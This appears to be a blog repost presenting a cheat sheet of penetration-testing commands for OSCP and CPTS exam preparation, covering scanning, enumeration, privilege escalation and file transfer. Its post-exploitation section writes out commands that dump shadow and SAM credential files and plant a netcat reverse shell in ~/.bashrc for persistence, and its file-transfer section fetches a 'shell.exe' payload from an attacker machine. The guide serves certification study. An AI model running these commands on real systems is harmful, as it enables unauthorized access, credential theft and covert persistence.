Listen to this Post
Introduction:
The Offensive Security Certified Professional (OSCP) and Certified Penetration Testing Specialist (CPTS) certifications represent the gold standard for practical, hands-on offensive security skills. Success hinges not just on theoretical knowledge, but on the rapid, effective application of a vast toolkit of commands and techniques. This article provides a consolidated command repository essential for conquering these certifications and real-world penetration tests.
Learning Objectives:
- Master foundational reconnaissance and enumeration commands for Linux and Windows targets.
- Understand key privilege escalation vectors and their associated verification commands.
- Learn essential techniques for transferring files, maintaining access, and exploiting common vulnerabilities.
You Should Know:
1. The Reconnaissance Foundation: Network Discovery
A thorough penetration test begins with understanding the target network. The following commands map the environment and identify active hosts.
Nmap Ping Scan - Discovers live hosts sudo nmap -sn 192.168.1.0/24 Nmap TCP SYN Scan - Stealthy port scanning sudo nmap -sS 192.168.1.10 Nmap Version Detection - Identifies service versions nmap -sV -sC -O 192.168.1.10 Nmap Comprehensive Scan - Aggressive scan with scripts nmap -A -T4 192.168.1.10
Step-by-step guide: The `-sn` flag (ping scan) is used for initial discovery without port scanning. Following host discovery, `-sS` (SYN scan) is a fast, relatively stealthy method to find open ports. The `-sV` and `-sC` flags are critical for enumerating service versions and running default NSE scripts, which often reveal vulnerabilities. The `-A` flag enables OS detection, version detection, script scanning, and traceroute.
2. Web Application Enumeration: Directory Bruteforcing
Web applications are a primary attack vector. Discovering hidden directories and files is a fundamental step.
Gobuster with common wordlist gobuster dir -u http://192.168.1.10 -w /usr/share/wordlists/dirb/common.txt Gobuster with file extensions gobuster dir -u http://192.168.1.10/admin -w /usr/share/wordlists/dirb/common.txt -x php,txt,html FFuF (Fuzz Faster U Fool) - A more modern alternative ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -u http://192.168.1.10/FUZZ
Step-by-step guide: Gobuster and FFuF are used to fuzz for directories and files. The `dir` mode specifies directory busting. The `-w` flag points to the wordlist. The `-x` flag in Gobuster is crucial to also search for files with specific extensions. Always start with common wordlists before moving to larger, more comprehensive ones.
3. SMB Enumeration: Uncovering Windows Shares
The Server Message Block (SMB) protocol on Windows systems is a treasure trove of information if misconfigured.
Null session attempt and share enumeration smbclient -L //192.168.1.10 -N Nmap SMB Scripts for safe enumeration nmap --script smb-safe.nse,smb-enum-shares.nse,smb-os-discovery.nse -p 445 192.168.1.10 Enumerate SMB users with rpcclient rpcclient -U "" -N 192.168.1.10 <blockquote> enumdomusers
Step-by-step guide: `smbclient -L -N` attempts to list shares with a null session. Nmap’s SMB scripts (smb-enum-shares, smb-os-discovery) are non-intrusive and highly effective for gathering system and share information. `rpcclient` provides deeper interaction with the RPC endpoint mapper, allowing for user enumeration.
4. Linux Privilege Escalation: Kernel Exploits & SUID
Once initial access is gained, the next goal is privilege escalation to root.
Check for kernel exploits uname -a searchsploit "Linux Kernel 3.13" Find SUID files find / -perm -u=s -type f 2>/dev/null Check for writable cron jobs cat /etc/crontab ls -la /etc/cron Check capabilities of binaries getcap -r / 2>/dev/null
Step-by-step guide: `uname -a` reveals the kernel version, which can be searched for exploits using searchsploit. The `find` command locates SUID binaries, which, if misconfigured, can be exploited to gain root privileges. Checking `/etc/crontab` for writable jobs and using `getcap` to find binaries with special capabilities are essential steps in a thorough Linux privesc methodology.
5. Windows Privilege Escalation: Service Misconfigurations
Windows privilege escalation often involves abusing weak service permissions or unquoted service paths.
Check for services with weak permissions using PowerSploit (PowerShell) Import-Module .\PowerUp.ps1 Invoke-AllChecks Check for unquoted service paths (cmd) wmic service get name,displayname,pathname,startmode | findstr /i auto | findstr /i /v "C:\Windows\" | findstr /i /v """ Check current privileges whoami /priv
Step-by-step guide: Tools like PowerUp.ps1 automate the process of finding misconfigured services, registry keys, and scheduled tasks. The `wmic` command helps identify unquoted service paths, a common vulnerability where a service runs an executable from a path containing spaces without quotes, allowing Windows to execute a similarly named binary earlier in the path. `whoami /priv` displays enabled privileges, which might be abused (e.g., SeBackupPrivilege).
6. File Transfers: The Lifeline of a Pentester
Moving tools and exploits onto a target is a constant requirement.
Python3 HTTP Server (Attacker) python3 -m http.server 80 Windows Certutil download (Target) certutil -urlcache -split -f http://192.168.1.100/shell.exe C:\Temp\shell.exe PowerShell download (Target) Invoke-WebRequest -Uri "http://192.168.1.100/shell.exe" -OutFile "shell.exe" Linux wget (Target) wget http://192.168.1.100/shell -O /tmp/shell
Step-by-step guide: A simple Python HTTP server is the quickest way to host files from your attacking machine. On Windows, `certutil` is a native tool that can download files. `Invoke-WebRequest` (or wget/curl on Linux) are more modern and reliable alternatives. Always have multiple transfer methods ready.
7. Post-Exploitation: Maintaining Access & Looting
After gaining a foothold, it’s critical to maintain access and gather valuable data.
Dump Linux /etc/passwd and /etc/shadow for offline cracking cat /etc/passwd cat /etc/shadow Dump Windows SAM and SYSTEM hives for credential extraction reg save hklm\sam C:\Temp\sam.save reg save hklm\system C:\Temp\system.save Create a persistent backdoor with a reverse shell one-liner echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.100 4444 >/tmp/f" >> ~/.bashrc
Step-by-step guide: Credential dumping is a primary post-exploitation task. On Linux, combining `/etc/passwd` and `/etc/shadow` allows for password cracking. On Windows, saving the SAM and SYSTEM hives enables tools like `secretsdump.py` to extract NTLM hashes. Adding a reverse shell command to a user’s `.bashrc` file is a simple method for persistence on Linux.
What Undercode Say:
- The Toolbox is Useless Without the Mindset: Knowing 25 commands is less than half the battle. The true skill tested by OSCP/CPTS is the analytical thinking to know which command to use when, and how to chain them together logically based on the specific context of the target environment.
- Practice is Non-Negotiable: Rote memorization will fail. These commands must become second nature through relentless practice in lab environments like HackTheBox, TryHackMe, or the official PWK/CPTS labs. Muscle memory for syntax and common flags is what saves time during an exam or engagement.
The landscape of penetration testing is shifting from a focus on purely technical execution to a more holistic, methodology-driven approach. While the commands listed here are the fundamental building blocks, their effective application relies on a deep understanding of the underlying protocols and systems. The OSCP and CPTS certifications are successful precisely because they test this applied knowledge. The future pentester will need to be adept not only with these core tools but also with automating their workflows and adapting to increasingly complex, cloud-native environments. The core principles of enumeration, however, will remain timeless.
Prediction:
The future of penetration testing will see a greater integration of AI-assisted tooling that can automate the initial reconnaissance and vulnerability discovery phases, potentially reducing the time spent on manual enumeration. However, this will elevate the value of the human pentester’s role towards complex attack chain development, social engineering, and exploiting business logic flaws that AI cannot easily identify. Certifications like OSCP and CPTS will inevitably evolve to include modules on auditing AI systems and cloud infrastructure, making a strong command-line foundation more critical than ever as the base upon which these advanced skills are built.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Ahmad Allobani – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
